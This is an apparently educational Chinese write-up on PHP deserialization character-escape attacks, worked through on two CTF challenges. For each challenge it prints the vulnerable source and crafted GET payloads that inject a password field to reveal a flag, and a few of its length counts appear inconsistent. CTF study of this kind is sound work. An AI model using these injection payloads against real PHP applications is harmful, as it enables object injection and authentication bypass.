前言

反序列化字符逃逸是最近很常见的题目,所以学习一下这个方面的知识。

正文

反序列化,理解之后。做题就没有那么难了,看了一篇微信推文,让我理解了PHP反序列化字符逃逸这个难点。

基础

1
2
3
4
5
6
7
8
9
<?php
class m0re{
public $aaa = '1emon';
public $bbb = 'qwzf';
public $SL = 'shalou';
}
$a = new m0re();
print_r(serialize($a));
?>

序列化结果

1
O:4:"m0re":3:{s:3:"aaa";s:5:"1emon";s:3:"bbb";s:4:"qwzf";s:2:"SL";s:6:"shalou";}

反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。
在后面加上一些字符进行测试。像这样

m0re
仍然反序列化成功而且没有任何报错,足以说明反序列化的结束标志是;}
理解了这个就可以进行反序列化字符逃逸的学习了。

关键字符增加

反序列化逃逸的题目,会使用preg_replace函数替换关键字符,会使得关键字符增多或减少,首先介绍使关键字符增多的。
正常序列化的结果,
m0re
替换后,字符增多,无法完成反序列化。需要做一下改动的地方是username处,因为反序列化遇到;}与前面的{闭合,就会停止反序列化。后面的内容自然忽略。尝试更改username
m0re
这里username直接传入";s:8:"password";s:3:"lin";}在反序列化时,会在第一个;}的位置结束反序列化。
但是替换过后,比如o变成oo,可是因为是当作username传入的,所以结果会是这样的

1
a:2:{s:8:"username";s:4:"m00re";s:8:"password";s:3:"lin";}

这里还是4,实际上应该为5,所以反序列化就会失败。
但是这个值,是可以手动改的,只要算好替换后的位数,就可以使得反序列化成功。

例题1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#m3w师傅的题目
<?php
error_reporting(0);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这里要求password=yu22x,但是password的值已经设置好了,这里就是用反序列化字符逃逸使得原本的密码不被反序列化。
先进行序列化,在本地测试,可以将密码先改为yu22x,然后进行序列化,

1
2
3
4
5
$uname=$_GET[1];
$password='yu22x';
$ser=filter(serialize(new a($uname,$password)));
//$test=unserialize($ser);
var_dump($ser);

得到结果

1
O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:5:"yu22x";}

需要吞掉的部分是";s:8:"password";s:5:"yu22x";}这是30个字符,每替换一次增加2个字符,所以需要15个Firebasky才可以,所以构造payload

1
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

这是需要当作username传入的参数,其实整个是
O:1:"a":2:{s:5:"uname";s:1:"?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";s:5:"yu22x";}
到第一个;}就会停止反序列化,更改的参数也是正确的,所以后面的password=1的部分就会被吞掉(忽略)。
反序列化成功就会得到flag。
m0re

例题2

上面那个是刚好够30被吞掉,每替换一次吞掉两个字符。
所以算起来比较方便。
这个是不一样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#unctf
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

还是在本地替换,替换正确密码。序列化结果。

1
O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:4:"easy";} 

这个是替换一次,增加四个。而需要吞掉";s:8:"password";s:4:"easy";}29个字符
无法正好替换,前面使用7个,则少一个,使用8个,则会多7个字符。
所以这里可以使用8个,后面使用一下占位符让其吞掉,比如;我理解的是因为遇到;}才会结束反序列化,所以在;前面加7个;使得反序列化成功。
payload

1
?1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;;;;;

或者

1
?1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";;;;;;;;}

两个payload都一样的,可以序列化成功,得到flag

总结

关键字符减少的,等遇到题目再写。
以上题目均可百度找到。
参考文章
1、http://bealright.top:8888/2020/08/24/%E6%B5%85%E6%9E%90php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%80%83%E9%80%B8/

2、https://mp.weixin.qq.com/s/7jAS7R_GuBBz6M8U6lQv-w